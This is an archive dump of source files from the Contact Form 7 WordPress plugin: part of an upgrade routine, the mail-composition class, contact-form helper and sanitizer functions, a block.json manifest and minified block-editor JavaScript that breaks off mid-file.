			. $wpdb->prepare( " AND meta_value = %d", $row->cf7_unit_id );

		if ( $wpdb->get_var( $q ) ) {
			continue;
		}

		$postarr = array(
			'post_type' => 'wpcf7_contact_form',
			'post_status' => 'publish',
			'post_title' => maybe_unserialize( $row->title ),
		);

		$post_id = wp_insert_post( $postarr );

		if ( $post_id ) {
			update_post_meta( $post_id, '_old_cf7_unit_id', $row->cf7_unit_id );

			$metas = array(
				'form',
				'mail',
				'mail_2',
				'messages',
				'additional_settings',
			);

			foreach ( $metas as $meta ) {
				update_post_meta( $post_id, '_' . $meta,
					wpcf7_normalize_newline_deep( maybe_unserialize( $row->{$meta} ) )
				);
			}
		}
	}
}


add_action( 'wpcf7_upgrade', 'wpcf7_prepend_underscore', 10, 2 );

/**
 * Prepends an underscore to post meta keys.
 */
function wpcf7_prepend_underscore( $new_ver, $old_ver ) {
	if ( version_compare( $old_ver, '3.0-dev', '<' ) ) {
		return;
	}

	if ( ! version_compare( $old_ver, '3.3-dev', '<' ) ) {
		return;
	}

	$posts = WPCF7_ContactForm::find( array(
		'post_status' => 'any',
		'posts_per_page' => -1,
	) );

	foreach ( $posts as $post ) {
		$props = $post->get_properties();

		foreach ( $props as $prop => $value ) {
			if ( metadata_exists( 'post', $post->id(), '_' . $prop ) ) {
				continue;
			}

			update_post_meta( $post->id(), '_' . $prop, $value );
			delete_post_meta( $post->id(), $prop );
		}
	}
}
contact-form-7/includes/mail.php000064400000035034147510273060012557 0ustar00<?php

add_filter( 'wpcf7_mail_html_body', 'wpcf7_mail_html_body_autop', 10, 1 );

/**
 * Filter callback that applies auto-p to HTML email message body.
 */
function wpcf7_mail_html_body_autop( $body ) {
	if ( wpcf7_autop_or_not( array( 'for' => 'mail' ) ) ) {
		$body = wpcf7_autop( $body );
	}

	return $body;
}


/**
 * Class that represents an attempt to compose and send email.
 */
class WPCF7_Mail {

	private static $current = null;

	private $name = '';
	private $locale = '';
	private $template = array();
	private $component = '';
	private $use_html = false;
	private $exclude_blank = false;


	/**
	 * Returns the singleton instance of this class.
	 */
	public static function get_current() {
		return self::$current;
	}


	/**
	 * Returns the name of the email template currently processed.
	 *
	 * Expected output: 'mail' or 'mail_2'
	 */
	public static function get_current_template_name() {
		$current = self::get_current();

		if ( $current instanceof self ) {
			return $current->get_template_name();
		}
	}


	/**
	 * Returns the name of the email template component currently processed.
	 *
	 * Expected output: 'recipient', 'sender', 'subject',
	 *                  'additional_headers', 'body', or 'attachments'
	 */
	public static function get_current_component_name() {
		$current = self::get_current();

		if ( $current instanceof self ) {
			return $current->get_component_name();
		}
	}


	/**
	 * Composes and sends email based on the specified template.
	 *
	 * @param array $template Array of email template.
	 * @param string $name Optional name of the template, such as
	 *               'mail' or 'mail_2'. Default empty string.
	 * @return bool Whether the email was sent successfully.
	 */
	public static function send( $template, $name = '' ) {
		self::$current = new self( $name, $template );
		return self::$current->compose();
	}


	/**
	 * The constructor method.
	 *
	 * @param string $name The name of the email template.
	 *               Such as 'mail' or 'mail_2'.
	 * @param array $template Array of email template.
	 */
	private function __construct( $name, $template ) {
		$this->name = trim( $name );
		$this->use_html = ! empty( $template['use_html'] );
		$this->exclude_blank = ! empty( $template['exclude_blank'] );

		$this->template = wp_parse_args( $template, array(
			'subject' => '',
			'sender' => '',
			'body' => '',
			'recipient' => '',
			'additional_headers' => '',
			'attachments' => '',
		) );

		if ( $submission = WPCF7_Submission::get_instance() ) {
			$contact_form = $submission->get_contact_form();
			$this->locale = $contact_form->locale();
		}
	}


	/**
	 * Returns the name of the email template.
	 */
	public function name() {
		return $this->name;
	}


	/**
	 * Returns the name of the email template. A wrapper method of name().
	 */
	public function get_template_name() {
		return $this->name();
	}


	/**
	 * Returns the name of the email template component currently processed.
	 */
	public function get_component_name() {
		return $this->component;
	}


	/**
	 * Retrieves a component from the email template.
	 *
	 * @param string $component The name of the component.
	 * @param bool $replace_tags Whether to replace mail-tags
	 *             within the component.
	 * @return string The text representation of the email component.
	 */
	public function get( $component, $replace_tags = false ) {
		$this->component = $component;

		$use_html = ( $this->use_html && 'body' === $component );
		$exclude_blank = ( $this->exclude_blank && 'body' === $component );

		$template = $this->template;
		$component = isset( $template[$component] ) ? $template[$component] : '';

		if ( $replace_tags ) {
			$component = $this->replace_tags( $component, array(
				'html' => $use_html,
				'exclude_blank' => $exclude_blank,
			) );

			if ( $use_html ) {
				// Convert <example@example.com> to &lt;example@example.com&gt;.
				$component = preg_replace_callback(
					'/<(.*?)>/',
					static function ( $matches ) {
						if ( is_email( $matches[1] ) ) {
							return sprintf( '&lt;%s&gt;', $matches[1] );
						} else {
							return $matches[0];
						}
					},
					$component
				);

				if ( ! preg_match( '%<html[>\s].*</html>%is', $component ) ) {
					$component = $this->htmlize( $component );
				}
			}
		}

		$this->component = '';

		return $component;
	}


	/**
	 * Creates HTML message body by adding the header and footer.
	 *
	 * @param string $body The body part of HTML.
	 * @return string Formatted HTML.
	 */
	private function htmlize( $body ) {
		if ( $this->locale ) {
			$lang_atts = sprintf( ' %s',
				wpcf7_format_atts( array(
					'dir' => wpcf7_is_rtl( $this->locale ) ? 'rtl' : 'ltr',
					'lang' => str_replace( '_', '-', $this->locale ),
				) )
			);
		} else {
			$lang_atts = '';
		}

		$header = apply_filters( 'wpcf7_mail_html_header',
			'<!doctype html>
<html xmlns="http://www.w3.org/1999/xhtml"' . $lang_atts . '>
<head>
<title>' . esc_html( $this->get( 'subject', true ) ) . '</title>
</head>
<body>
',
			$this
		);

		$body = apply_filters( 'wpcf7_mail_html_body', $body, $this );

		$footer = apply_filters( 'wpcf7_mail_html_footer',
			'</body>
</html>',
			$this
		);

		return $header . $body . $footer;
	}


	/**
	 * Composes an email message and attempts to send it.
	 *
	 * @param bool $send Whether to attempt to send email. Default true.
	 */
	private function compose( $send = true ) {
		$components = array(
			'subject' => $this->get( 'subject', true ),
			'sender' => $this->get( 'sender', true ),
			'body' => $this->get( 'body', true ),
			'recipient' => $this->get( 'recipient', true ),
			'additional_headers' => $this->get( 'additional_headers', true ),
			'attachments' => $this->attachments(),
		);

		$components = apply_filters( 'wpcf7_mail_components',
			$components, wpcf7_get_current_contact_form(), $this
		);

		if ( ! $send ) {
			return $components;
		}

		$subject = wpcf7_strip_newline( $components['subject'] );
		$sender = wpcf7_strip_newline( $components['sender'] );
		$recipient = wpcf7_strip_newline( $components['recipient'] );
		$body = $components['body'];
		$additional_headers = trim( $components['additional_headers'] );

		$headers = "From: $sender\n";

		if ( $this->use_html ) {
			$headers .= "Content-Type: text/html\n";
			$headers .= "X-WPCF7-Content-Type: text/html\n";
		} else {
			$headers .= "X-WPCF7-Content-Type: text/plain\n";
		}

		if ( $additional_headers ) {
			$headers .= $additional_headers . "\n";
		}

		$attachments = array_filter(
			(array) $components['attachments'],
			function ( $attachment ) {
				$path = path_join( WP_CONTENT_DIR, $attachment );

				if ( ! wpcf7_is_file_path_in_content_dir( $path ) ) {
					wp_trigger_error(
						'',
						sprintf(
							/* translators: %s: Attachment file path. */
							__( 'Failed to attach a file. %s is not in the allowed directory.', 'contact-form-7' ),
							$path
						),
						E_USER_NOTICE
					);

					return false;
				}

				if ( ! is_readable( $path ) or ! is_file( $path ) ) {
					wp_trigger_error(
						'',
						sprintf(
							/* translators: %s: Attachment file path. */
							__( 'Failed to attach a file. %s is not a readable file.', 'contact-form-7' ),
							$path
						),
						E_USER_NOTICE
					);

					return false;
				}

				static $total_size = array();

				if ( ! isset( $total_size[$this->name] ) ) {
					$total_size[$this->name] = 0;
				}

				$file_size = (int) @filesize( $path );

				if ( 25 * MB_IN_BYTES < $total_size[$this->name] + $file_size ) {
					wp_trigger_error(
						'',
						__( 'Failed to attach a file. The total file size exceeds the limit of 25 megabytes.', 'contact-form-7' ),
						E_USER_NOTICE
					);

					return false;
				}

				$total_size[$this->name] += $file_size;

				return true;
			}
		);

		return wp_mail( $recipient, $subject, $body, $headers, $attachments );
	}


	/**
	 * Replaces mail-tags within the given text.
	 */
	public function replace_tags( $content, $options = '' ) {
		if ( true === $options ) {
			$options = array( 'html' => true );
		}

		$options = wp_parse_args( $options, array(
			'html' => false,
			'exclude_blank' => false,
		) );

		return wpcf7_mail_replace_tags( $content, $options );
	}


	/**
	 * Creates an array of attachments based on uploaded files and local files.
	 */
	private function attachments( $template = null ) {
		if ( ! $template ) {
			$template = $this->get( 'attachments' );
		}

		$attachments = array();

		if ( $submission = WPCF7_Submission::get_instance() ) {
			$uploaded_files = $submission->uploaded_files();

			foreach ( (array) $uploaded_files as $name => $paths ) {
				if ( false !== strpos( $template, "[{$name}]" ) ) {
					$attachments = array_merge( $attachments, (array) $paths );
				}
			}
		}

		foreach ( explode( "\n", $template ) as $line ) {
			$line = trim( $line );

			if ( '' === $line or '[' == substr( $line, 0, 1 ) ) {
				continue;
			}

			$attachments[] = path_join( WP_CONTENT_DIR, $line );
		}

		if ( $submission = WPCF7_Submission::get_instance() ) {
			$attachments = array_merge(
				$attachments,
				(array) $submission->extra_attachments( $this->name )
			);
		}

		return $attachments;
	}
}


/**
 * Replaces all mail-tags within the given text content.
 *
 * @param string $content Text including mail-tags.
 * @param string|array $options Optional. Output options.
 * @return string Result of replacement.
 */
function wpcf7_mail_replace_tags( $content, $options = '' ) {
	$options = wp_parse_args( $options, array(
		'html' => false,
		'exclude_blank' => false,
	) );

	if ( is_array( $content ) ) {
		foreach ( $content as $key => $value ) {
			$content[$key] = wpcf7_mail_replace_tags( $value, $options );
		}

		return $content;
	}

	$content = explode( "\n", $content );

	foreach ( $content as $num => $line ) {
		$line = new WPCF7_MailTaggedText( $line, $options );
		$replaced = $line->replace_tags();

		if ( $options['exclude_blank'] ) {
			$replaced_tags = $line->get_replaced_tags();

			if ( empty( $replaced_tags )
			or array_filter( $replaced_tags, 'strlen' ) ) {
				$content[$num] = $replaced;
			} else {
				unset( $content[$num] ); // Remove a line.
			}
		} else {
			$content[$num] = $replaced;
		}
	}

	$content = implode( "\n", $content );

	return $content;
}


add_action( 'phpmailer_init', 'wpcf7_phpmailer_init', 10, 1 );

/**
 * Adds custom properties to the PHPMailer object.
 */
function wpcf7_phpmailer_init( $phpmailer ) {
	$custom_headers = $phpmailer->getCustomHeaders();
	$phpmailer->clearCustomHeaders();
	$wpcf7_content_type = false;

	foreach ( (array) $custom_headers as $custom_header ) {
		$name = $custom_header[0];
		$value = $custom_header[1];

		if ( 'X-WPCF7-Content-Type' === $name ) {
			$wpcf7_content_type = trim( $value );
		} else {
			$phpmailer->addCustomHeader( $name, $value );
		}
	}

	if ( 'text/html' === $wpcf7_content_type ) {
		$phpmailer->msgHTML( $phpmailer->Body );
	} elseif ( 'text/plain' === $wpcf7_content_type ) {
		$phpmailer->AltBody = '';
	}
}


/**
 * Class that represents a single-line text including mail-tags.
 */
class WPCF7_MailTaggedText {

	private $html = false;
	private $callback = null;
	private $content = '';
	private $replaced_tags = array();


	/**
	 * The constructor method.
	 */
	public function __construct( $content, $options = '' ) {
		$options = wp_parse_args( $options, array(
			'html' => false,
			'callback' => null,
		) );

		$this->html = (bool) $options['html'];

		if ( null !== $options['callback']
		and is_callable( $options['callback'] ) ) {
			$this->callback = $options['callback'];
		} elseif ( $this->html ) {
			$this->callback = array( $this, 'replace_tags_callback_html' );
		} else {
			$this->callback = array( $this, 'replace_tags_callback' );
		}

		$this->content = $content;
	}


	/**
	 * Retrieves mail-tags that have been replaced by this instance.
	 *
	 * @return array List of mail-tags replaced.
	 */
	public function get_replaced_tags() {
		return $this->replaced_tags;
	}


	/**
	 * Replaces mail-tags based on regexp.
	 */
	public function replace_tags() {
		$regex = '/(\[?)\[[\t ]*'
			. '([a-zA-Z_][0-9a-zA-Z:._-]*)' // [2] = name
			. '((?:[\t ]+"[^"]*"|[\t ]+\'[^\']*\')*)' // [3] = values
			. '[\t ]*\](\]?)/';

		return preg_replace_callback( $regex, $this->callback, $this->content );
	}


	/**
	 * Callback function for replacement. For HTML message body.
	 */
	private function replace_tags_callback_html( $matches ) {
		return $this->replace_tags_callback( $matches, true );
	}


	/**
	 * Callback function for replacement.
	 */
	private function replace_tags_callback( $matches, $html = false ) {
		// allow [[foo]] syntax for escaping a tag
		if ( $matches[1] == '['
		and $matches[4] == ']' ) {
			return substr( $matches[0], 1, -1 );
		}

		$tag = $matches[0];
		$tagname = $matches[2];
		$values = $matches[3];

		$mail_tag = new WPCF7_MailTag( $tag, $tagname, $values );
		$field_name = $mail_tag->field_name();

		$submission = WPCF7_Submission::get_instance();
		$submitted = $submission
			? $submission->get_posted_data( $field_name )
			: null;

		if ( $mail_tag->get_option( 'do_not_heat' ) ) {
			$submitted = wp_unslash( $_POST[$field_name] ?? '' );
		}

		$replaced = $submitted;

		if ( null !== $replaced ) {
			if ( $format = $mail_tag->get_option( 'format' ) ) {
				$replaced = $this->format( $replaced, $format );
			}

			$separator = ( 'body' === WPCF7_Mail::get_current_component_name() )
				? wp_get_list_item_separator()
				: ', ';

			$replaced = wpcf7_flat_join( $replaced, array(
				'separator' => $separator,
			) );

			if ( $html ) {
				$replaced = esc_html( $replaced );
				$replaced = wptexturize( $replaced );
			}
		}

		if ( $form_tag = $mail_tag->corresponding_form_tag() ) {
			$type = $form_tag->type;

			$replaced = apply_filters(
				"wpcf7_mail_tag_replaced_{$type}", $replaced,
				$submitted, $html, $mail_tag
			);
		}

		$replaced = apply_filters(
			'wpcf7_mail_tag_replaced', $replaced,
			$submitted, $html, $mail_tag
		);

		if ( null !== $replaced ) {
			$replaced = trim( $replaced );

			$this->replaced_tags[$tag] = $replaced;
			return $replaced;
		}

		$special = apply_filters( 'wpcf7_special_mail_tags', null,
			$mail_tag->tag_name(), $html, $mail_tag
		);

		if ( null !== $special ) {
			$this->replaced_tags[$tag] = $special;
			return $special;
		}

		return $tag;
	}


	/**
	 * Formats string based on the formatting option in the form-tag.
	 */
	public function format( $original, $format ) {
		$original = (array) $original;

		foreach ( $original as $key => $value ) {
			if ( preg_match( '/^[0-9]{4}-[0-9]{2}-[0-9]{2}$/', $value ) ) {
				$datetime = date_create( $value, wp_timezone() );

				if ( false !== $datetime ) {
					$original[$key] = wp_date( $format, $datetime->getTimestamp() );
				}
			}
		}

		return $original;
	}

}
contact-form-7/includes/contact-form-functions.php000064400000024401147510273060016233 0ustar00<?php
/**
 * Contact form helper functions
 */


/**
 * Wrapper function of WPCF7_ContactForm::get_instance().
 *
 * @param WPCF7_ContactForm|WP_Post|int $post Object or post ID.
 * @return WPCF7_ContactForm|null Contact form object. Null if unset.
 */
function wpcf7_contact_form( $post ) {
	return WPCF7_ContactForm::get_instance( $post );
}


/**
 * Searches for a contact form by an old unit ID.
 *
 * @param int $old_id Old unit ID.
 * @return WPCF7_ContactForm Contact form object.
 */
function wpcf7_get_contact_form_by_old_id( $old_id ) {
	global $wpdb;

	$q = "SELECT post_id FROM $wpdb->postmeta WHERE meta_key = '_old_cf7_unit_id'"
		. $wpdb->prepare( " AND meta_value = %d", $old_id );

	if ( $new_id = $wpdb->get_var( $q ) ) {
		return wpcf7_contact_form( $new_id );
	}
}


/**
 * Searches for a contact form by a hash string.
 *
 * @param string $hash Part of a hash string.
 * @return WPCF7_ContactForm Contact form object.
 */
function wpcf7_get_contact_form_by_hash( $hash ) {
	global $wpdb;

	$hash = trim( $hash );

	if ( strlen( $hash ) < 7 ) {
		return null;
	}

	$like = $wpdb->esc_like( $hash ) . '%';

	$q = "SELECT post_id FROM $wpdb->postmeta WHERE meta_key = '_hash'"
		. $wpdb->prepare( " AND meta_value LIKE %s", $like );

	if ( $post_id = $wpdb->get_var( $q ) ) {
		return wpcf7_contact_form( $post_id );
	}
}


/**
 * Searches for a contact form by title.
 *
 * @param string $title Title of contact form.
 * @return WPCF7_ContactForm|null Contact form object if found, null otherwise.
 */
function wpcf7_get_contact_form_by_title( $title ) {
	if ( ! is_string( $title ) or '' === $title ) {
		return null;
	}

	$contact_forms = WPCF7_ContactForm::find( array(
		'title' => $title,
		'posts_per_page' => 1,
	) );

	if ( $contact_forms ) {
		return wpcf7_contact_form( reset( $contact_forms ) );
	}
}


/**
 * Wrapper function of WPCF7_ContactForm::get_current().
 *
 * @return WPCF7_ContactForm Contact form object.
 */
function wpcf7_get_current_contact_form() {
	if ( $current = WPCF7_ContactForm::get_current() ) {
		return $current;
	}
}


/**
 * Returns true if it is in the state that a non-Ajax submission is accepted.
 */
function wpcf7_is_posted() {
	if ( ! $contact_form = wpcf7_get_current_contact_form() ) {
		return false;
	}

	return $contact_form->is_posted();
}


/**
 * Retrieves the user input value through a non-Ajax submission.
 *
 * @param string $name Name of form control.
 * @param string $default_value Optional default value.
 * @return string The user input value through the form-control.
 */
function wpcf7_get_hangover( $name, $default_value = null ) {
	if ( ! wpcf7_is_posted() ) {
		return $default_value;
	}

	$submission = WPCF7_Submission::get_instance();

	if ( ! $submission
	or $submission->is( 'mail_sent' ) ) {
		return $default_value;
	}

	return isset( $_POST[$name] ) ? wp_unslash( $_POST[$name] ) : $default_value;
}


/**
 * Retrieves an HTML snippet of validation error on the given form control.
 *
 * @param string $name Name of form control.
 * @return string Validation error message in a form of HTML snippet.
 */
function wpcf7_get_validation_error( $name ) {
	if ( ! $contact_form = wpcf7_get_current_contact_form() ) {
		return '';
	}

	return $contact_form->validation_error( $name );
}


/**
 * Returns a reference key to a validation error message.
 *
 * @param string $name Name of form control.
 * @param string $unit_tag Optional. Unit tag of the contact form.
 * @return string Reference key code.
 */
function wpcf7_get_validation_error_reference( $name, $unit_tag = '' ) {
	if ( '' === $unit_tag ) {
		$contact_form = wpcf7_get_current_contact_form();

		if ( $contact_form and $contact_form->validation_error( $name ) ) {
			$unit_tag = $contact_form->unit_tag();
		} else {
			return null;
		}
	}

	return preg_replace( '/[^0-9a-z_-]+/i', '',
		sprintf(
			'%1$s-ve-%2$s',
			$unit_tag,
			$name
		)
	);
}


/**
 * Retrieves a message for the given status.
 */
function wpcf7_get_message( $status ) {
	if ( ! $contact_form = wpcf7_get_current_contact_form() ) {
		return '';
	}

	return $contact_form->message( $status );
}


/**
 * Returns a class names list for a form-tag of the specified type.
 *
 * @param string $type Form-tag type.
 * @param string $default_classes Optional default classes.
 * @return string Whitespace-separated list of class names.
 */
function wpcf7_form_controls_class( $type, $default_classes = '' ) {
	$type = trim( $type );

	if ( is_string( $default_classes ) ) {
		$default_classes = explode( ' ', $default_classes );
	}

	$classes = array(
		'wpcf7-form-control',
		sprintf( 'wpcf7-%s', rtrim( $type, '*' ) ),
	);

	if ( str_ends_with( $type, '*' ) ) {
		$classes[] = 'wpcf7-validates-as-required';
	}

	$classes = array_merge( $classes, $default_classes );
	$classes = array_filter( array_unique( $classes ) );

	return implode( ' ', $classes );
}


/**
 * Callback function for the contact-form-7 shortcode.
 */
function wpcf7_contact_form_tag_func( $atts, $content = null, $code = '' ) {
	if ( is_feed() ) {
		return '[contact-form-7]';
	}

	if ( 'contact-form-7' === $code ) {
		$atts = shortcode_atts(
			array(
				'id' => '',
				'title' => '',
				'html_id' => '',
				'html_name' => '',
				'html_title' => '',
				'html_class' => '',
				'output' => 'form',
			),
			$atts, 'wpcf7'
		);

		$id = trim( $atts['id'] );
		$title = trim( $atts['title'] );

		$contact_form = wpcf7_get_contact_form_by_hash( $id );

		if ( ! $contact_form ) {
			$contact_form = wpcf7_contact_form( $id );
		}

		if ( ! $contact_form ) {
			$contact_form = wpcf7_get_contact_form_by_title( $title );
		}

	} else {
		if ( is_string( $atts ) ) {
			$atts = explode( ' ', $atts, 2 );
		}

		$id = (int) array_shift( $atts );
		$contact_form = wpcf7_get_contact_form_by_old_id( $id );
	}

	if ( ! $contact_form ) {
		return sprintf(
			'<p class="wpcf7-contact-form-not-found"><strong>%1$s</strong> %2$s</p>',
			esc_html( __( 'Error:', 'contact-form-7' ) ),
			esc_html( __( "Contact form not found.", 'contact-form-7' ) )
		);
	}

	$callback = static function ( $contact_form, $atts ) {
		return $contact_form->form_html( $atts );
	};

	$output = wpcf7_switch_locale(
		$contact_form->locale(),
		$callback,
		$contact_form, $atts
	);

	do_action( 'wpcf7_shortcode_callback', $contact_form, $atts );

	return $output;
}


/**
 * Saves the contact form data.
 */
function wpcf7_save_contact_form( $data = '', $context = 'save' ) {
	$data = wp_parse_args( $data, array(
		'id' => -1,
		'title' => null,
		'locale' => null,
		'form' => null,
		'mail' => null,
		'mail_2' => null,
		'messages' => null,
		'additional_settings' => null,
	) );

	$data = wp_unslash( $data );

	$data['id'] = (int) $data['id'];

	if ( -1 == $data['id'] ) {
		$contact_form = WPCF7_ContactForm::get_template();
	} else {
		$contact_form = wpcf7_contact_form( $data['id'] );
	}

	if ( empty( $contact_form ) ) {
		return false;
	}

	if ( null !== $data['title'] ) {
		$contact_form->set_title( $data['title'] );
	}

	if ( null !== $data['locale'] ) {
		$contact_form->set_locale( $data['locale'] );
	}

	$properties = array();

	if ( null !== $data['form'] ) {
		$properties['form'] = wpcf7_sanitize_form( $data['form'] );
	}

	if ( null !== $data['mail'] ) {
		$properties['mail'] = wpcf7_sanitize_mail( $data['mail'] );
		$properties['mail']['active'] = true;
	}

	if ( null !== $data['mail_2'] ) {
		$properties['mail_2'] = wpcf7_sanitize_mail( $data['mail_2'] );
	}

	if ( null !== $data['messages'] ) {
		$properties['messages'] = wpcf7_sanitize_messages( $data['messages'] );
	}

	if ( null !== $data['additional_settings'] ) {
		$properties['additional_settings'] = wpcf7_sanitize_additional_settings(
			$data['additional_settings']
		);
	}

	$contact_form->set_properties( $properties );

	do_action( 'wpcf7_save_contact_form', $contact_form, $data, $context );

	if ( 'save' == $context ) {
		$contact_form->save();
	}

	return $contact_form;
}


/**
 * Sanitizes the form property data.
 */
function wpcf7_sanitize_form( $input, $default_template = '' ) {
	if ( null === $input ) {
		return $default_template;
	}

	$output = trim( $input );

	if ( ! current_user_can( 'unfiltered_html' ) ) {
		$output = wpcf7_kses( $output, 'form' );
	}

	return $output;
}


/**
 * Sanitizes the mail property data.
 */
function wpcf7_sanitize_mail( $input, $defaults = array() ) {
	$input = wp_parse_args( $input, array(
		'active' => false,
		'subject' => '',
		'sender' => '',
		'recipient' => '',
		'body' => '',
		'additional_headers' => '',
		'attachments' => '',
		'use_html' => false,
		'exclude_blank' => false,
	) );

	$input = wp_parse_args( $input, $defaults );

	$output = array();
	$output['active'] = (bool) $input['active'];
	$output['subject'] = trim( $input['subject'] );
	$output['sender'] = trim( $input['sender'] );
	$output['recipient'] = trim( $input['recipient'] );
	$output['body'] = trim( $input['body'] );

	if ( ! current_user_can( 'unfiltered_html' ) ) {
		$output['body'] = wpcf7_kses( $output['body'], 'mail' );
	}

	$output['additional_headers'] = '';

	$headers = str_replace( "\r\n", "\n", $input['additional_headers'] );
	$headers = explode( "\n", $headers );

	foreach ( $headers as $header ) {
		$header = trim( $header );

		if ( '' !== $header ) {
			$output['additional_headers'] .= $header . "\n";
		}
	}

	$output['additional_headers'] = trim( $output['additional_headers'] );
	$output['attachments'] = trim( $input['attachments'] );
	$output['use_html'] = (bool) $input['use_html'];
	$output['exclude_blank'] = (bool) $input['exclude_blank'];

	return $output;
}


/**
 * Sanitizes the messages property data.
 */
function wpcf7_sanitize_messages( $input, $defaults = array() ) {
	$output = array();

	foreach ( wpcf7_messages() as $key => $val ) {
		if ( isset( $input[$key] ) ) {
			$output[$key] = trim( $input[$key] );
		} elseif ( isset( $defaults[$key] ) ) {
			$output[$key] = $defaults[$key];
		}
	}

	return $output;
}


/**
 * Sanitizes the additional settings property data.
 */
function wpcf7_sanitize_additional_settings( $input, $default_template = '' ) {
	if ( null === $input ) {
		return $default_template;
	}

	$output = trim( $input );
	return $output;
}


/**
 * Generates a random hash string for a contact form.
 *
 * @param int $post_id Post ID.
 * @return string SHA-1 hash.
 */
function wpcf7_generate_contact_form_hash( $post_id ) {
	return sha1( implode( '|', array(
		get_current_user_id(),
		$post_id,
		time(),
		home_url(),
	) ) );
}
contact-form-7/includes/block-editor/block.json000064400000001363147510273060015465 0ustar00{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "contact-form-7/contact-form-selector",
	"title": "Contact Form 7",
	"category": "widgets",
	"description": "Insert a contact form you have created with Contact Form 7.",
	"keywords": [ "form" ],
	"textdomain": "contact-form-7",
	"attributes": {
		"id": {
			"type": "integer"
		},
		"hash": {
			"type": "string"
		},
		"title": {
			"type": "string"
		},
		"htmlId": {
			"type": "string"
		},
		"htmlName": {
			"type": "string"
		},
		"htmlTitle": {
			"type": "string"
		},
		"htmlClass": {
			"type": "string"
		},
		"output": {
			"enum": [ "form", "raw_form" ],
			"default": "form"
		}
	},
	"editorScript": [ "file:./index.js", "contact-form-7-block-editor" ]
}
contact-form-7/includes/block-editor/index.js000064400000011762147510273060015151 0ustar00(()=>{"use strict";var t={n:e=>{var l=e&&e.__esModule?()=>e.default:()=>e;return t.d(l,{a:l}),l},d:(e,l)=>{for(var a in l)t.o(l,a)&&!t.o(e,a)&&Object.defineProperty(e,a,{enumerable:!0,get:l[a]})},o:(t,e)=>Object.prototype.hasOwnProperty.call(t,e)};const e=window.wp.i18n,l=window.wp.blocks,a=window.wp.blockEditor,r=window.ReactJSXRuntime,o=(0,r.jsxs)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 242.5 239.46",children:[(0,r.jsx)("defs",{children:(0,r.jsx)("clipPath",{id:"clip-path",transform:"translate(1.72)",children:(0,r.jsx)("circle",{className:"cls-1",cx:"119.73",cy:"119.73",r:"116.15",fill:"none"})})}),(0,r.jsx)("g",{id:"Layer_2","data-name":"Layer 2",children:(0,r.jsxs)("g",{id:"Layer_1","data-name":"Layer 1",children:[(0,r.jsxs)("g",{className:"cls-2",clipPath:"url(#clip-path)",children:[(0,r.jsx)("circle",{className:"cls-3",cx:"121.45",cy:"119.73",r:"116.15",fill:"#33c6f4"}),(0,r.jsx)("path",{className:"cls-4",d:"M239.32,167.79c-53.41-24-108.37-91.46-113-94.55s-10.84.77-10.84.77c-3.87-6.19-10.06.77-10.06.77C76.77,123.55.14,170.11.14,170.11S36.94,237.79,122,237.79C208.48,237.79,239.32,167.79,239.32,167.79Z",transform:"translate(1.72)",fill:"#1b447e"}),(0,r.jsx)("path",{className:"cls-5",d:"M67.48,116.58s15.48-7,12.38,4.65-15.48,28.64-11.61,29.41S83,140.58,86.06,142.12s5.42.78,3.87,6.2-3.1,9.29,0,9.29,5.42-7,9.29-13.94,10.06-3.87,12.38-1.55,9.29,15.49,14.71,13.94,8.51-8.52,6.19-24,1.55-20.12,1.55-20.12,4.64-2.32,13.16,8.51,24,27.09,26.31,26.32-10.83-17.8-7.74-19.35,15.48,2.32,21.68,7.74c0,0,2.12,8.87,2.12.36L126.31,73.24,115.47,74l-10.06.77S80.64,111.94,67.48,116.58Z",transform:"translate(1.72)",fill:"#fff"}),(0,r.jsx)("path",{className:"cls-6",d:"M239.32,170.11c-53.41-24-108.37-93.78-113-96.87s-10.84.77-10.84.77c-3.87-6.19-10.06.77-10.06.77C76.77,123.55.14,170.11.14,170.11",transform:"translate(1.72)",fill:"none",stroke:"#221e1f",strokeMiterlimit:"10",strokeWidth:"8px"})]}),(0,r.jsx)("circle",{className:"cls-6",cx:"121.45",cy:"119.73",r:"116.15",fill:"none",stroke:"#1b447e",strokeMiterlimit:"10",strokeWidth:"8px"})]})})]}),s=window.wp.element,c=window.wp.components,n=window.wp.apiFetch;var i=t.n(n);const m=window.wp.url,h=async t=>i()({path:(0,m.addQueryArgs)("/contact-form-7/v1/contact-forms",{posts_per_page:20,orderby:"modified",order:"DESC",...t})}).then((t=>t)),d=t=>{let e="[contact-form-7]";return t.hash?e=e.replace(/\]$/,` id="${t.hash}"]`):t.id&&(e=e.replace(/\]$/,` id="${t.id}"]`)),t.title&&(e=e.replace(/\]$/,` title="${t.title}"]`)),t.htmlId&&(e=e.replace(/\]$/,` html_id="${t.htmlId}"]`)),t.htmlName&&(e=e.replace(/\]$/,` html_name="${t.htmlName}"]`)),t.htmlTitle&&(e=e.replace(/\]$/,` html_title="${t.htmlTitle}"]`)),t.htmlClass&&(e=e.replace(/\]$/,` html_class="${t.htmlClass}"]`)),"raw_form"===t.output&&(e=e.replace(/\]$/,` output="${t.output}"]`)),e},p=t=>{const e=ajaxurl.replace(/\/admin-ajax\.php$/,"/admin.php");return(0,m.addQueryArgs)(e,{page:"wpcf7",post:t.id,action:"edit"})},f={from:[],to:[{type:"block",blocks:["core/shortcode"],transform:t=>{const e=d(t);return(0,l.createBlock)("core/shortcode",{text:e})}}]};(0,l.registerBlockType)("contact-form-7/contact-form-selector",{icon:o,transforms:f,edit:function({attributes:t,setAttributes:l}){const o=t=>t.reduce(((t,e)=>t.set(e.id,e)),new Map),[n,i]=(0,s.useState)((()=>o([])));return(0,s.useEffect)((()=>{h().then((t=>{i(o(t))}))}),[]),(0,r.jsxs)(r.Fragment,{children:[(0,r.jsxs)(a.InspectorControls,{children:[t.id&&(0,r.jsx)(c.PanelBody,{title:t.title,children:(0,r.jsx)(c.ExternalLink,{href:p(t),children:(0,e.__)("Edit this contact form","contact-form-7")})}),t.id&&(0,r.jsxs)(c.PanelBody,{title:(0,e.__)("Form attributes","contact-form-7"),initialOpen:!1,children:[(0,r.jsx)(c.TextControl,{label:(0,e.__)("ID","contact-form-7"),value:t.htmlId,onChange:t=>l({htmlId:t}),help:(0,e.__)("Used for the id attribute value of the form element.","contact-form-7")}),(0,r.jsx)(c.TextControl,{label:(0,e.__)("Name","contact-form-7"),value:t.htmlName,onChange:t=>l({htmlName:t}),help:(0,e.__)("Used for the name attribute value of the form 